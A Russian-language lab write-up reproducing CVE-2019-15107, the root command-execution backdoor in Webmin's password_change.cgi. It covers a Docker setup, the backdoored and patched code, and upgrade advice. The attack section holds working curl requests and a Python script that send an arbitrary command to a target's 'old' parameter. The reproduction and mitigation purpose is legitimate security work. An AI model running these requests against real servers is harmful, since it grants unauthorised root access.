
Эксплойт PoC для CVE-2019-15107, уязвимость удаленного выполнения кода в Webmin 1.920 и более ранних версий. Включает настройку лаборатории на основе Docker, эксплойт-скрипты для curl и Python, а также рекомендации по смягчению последствий.
[CVE-2019-15107] — это уязвимость в Webmin, веб-ориентированном инструменте системного администрирования для Unix-систем. В функции изменения пароля этого инструмента определенный параметр передается в команду оболочки без фильтрации, что позволяет выполнить произвольный код (Remote Code Execution, RCE).
Уязвимость была обнаружена в password_change.cgi, который отвечает за смену пароля, при использовании Webmin версии 1.920 или более ранних. Уязвимость возникла в результате внедрения вредоносного кода в процессе распространения Webmin через SourceForge.
В данной реконструкции используется версия webmin 1.910, ранее применявшаяся в vulhub. Также, поскольку изменение пароля активно только при passwd_mode=2, настройте среду с passwd_mode=2.
Вместе с подготовленным файлом релиза Webmin версии 1.910 webmin_1.910_all.deb введите следующую команду для настройки уязвимой среды:
docker compose up -d
Файлы
Dockerfileиdocker-entrypoint.shбыли переработаны для локальных файлов с использованием формата, предварительно созданного в vulhub.
Для изменения пароля требуются знакомые нам параметры, такие как user, old, new1, new2. Среди них был вставлен код, который выполняет значение параметра old.
Ниже приведена часть файла password_change.cgi версии 1.910. qx/$in{'old'}/ — это код, который выполняет значение old, упомянутое выше. Управляя этим значением, можно выполнить произвольный код.
user@user:~/Documents/vulhub/webmin/CVE-2019-15107$ cat password_change.cgi | grep -C5 "\$in{'old'}"
die "Missing password file configuration";
}
if ($wuser) {
# Update Webmin user's password
$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
$perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
$perr && &pass_error(&text('password_enewpass', $perr));
$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
$wuser->{'temppass'} = 0;
&acl::modify_user($wuser->{'name'}, $wuser);
Уязвимость можно воспроизвести, обратившись к password_change.cgi в Webmin и отправив запрос с манипуляцией переменной old.
Независимо от того, используете ли вы curl или python, достаточно отправить запрос к password_change.cgi любым способом. Во всех трех примерах в old вставляется команда id для вывода uid.
curl -k -X POST https://your-ip:10000/password_change.cgi -d "user=nonexistent&pam=&expired=2&old=**id**&new1=test&new2=test" -H "Referer: https://your-ip:10000/session_login.cgi"
curl -k "https://your-ip:10000/password_change.cgi?user=rootxx&pam=&expired=2&old=id&new1=test&new2=test" -H "Referer: https://your-ip:10000/session_login.cgi"
import requests
import sys
import argparse
def exploit_webmin(target, command):
url = f"https://{target}/password_change.cgi"
# HTTPS 인증서 무시
requests.packages.urllib3.disable_warnings()
# CVE-2019-15107 payload
# old 파라미터에 명령어 입력
data = {
'user': 'rootxx',
'pam': '',
'expired': '2',
'old': command, # 명령어
'new1': 'test2',
'new2': 'test2'
}
headers = {
'Referer': f'https://{target}/session_login.cgi',
}
try:
response = requests.post(
url,
data=data,
headers=headers,
verify=False,
timeout=5
)
if response.status_code == 200:
print("[+] Exploit sent!")
print("[+] Response:")
print(response.text)
return True
else:
print(f"[-] Status code: {response.status_code}")
return False
except Exception as e:
print(f"[-] Error: {e}")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='CVE-2019-15107 Webmin RCE PoC')
parser.add_argument('-t', '--target', required=True, help='Target IP:port (e.g., 127.0.0.1:10000)')
parser.add_argument('-c', '--command', default='id', help='Command to execute (default: id)')
args = parser.parse_args()
print(f"[*] Exploiting Webmin at {args.target}")
print(f"[*] Command: {args.command}")
exploit_webmin(args.target, args.command)
Запустить можно следующим образом:
python3 PoC.py -t your-ip:10000 -c "id"

При указанном выше способе команда, вставленная в параметр old, выполняется напрямую. Результат показывает, что uid равен 0, то есть команда выполняется с правами root.
То есть данная уязвимость [CVE-2019-15107] позволяет выполнить код с правами root.
Более того, если подготовить отдельную обратную оболочку, можно получить доступ к оболочке сервера, подключившись к ней.
После завершения воспроизведения уязвимости можно остановить сервис с помощью следующей команды:
docker compose down
Самый простой способ — обновить Webmin.
Это код, измененный при обновлении до версии 1.930. Была удалена часть, выполняющая значение old.
if ($wuser) {
# Update Webmin user's password
$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'});
$perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
$perr && &pass_error(&text('password_enewpass', $perr));
$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
$wuser->{'temppass'} = 0;
&acl::modify_user($wuser->{'name'}, $wuser);
&reload_miniserv();
}
Если же часть выполнения кода необходима, можно решить проблему, вставив код проверки входного значения old.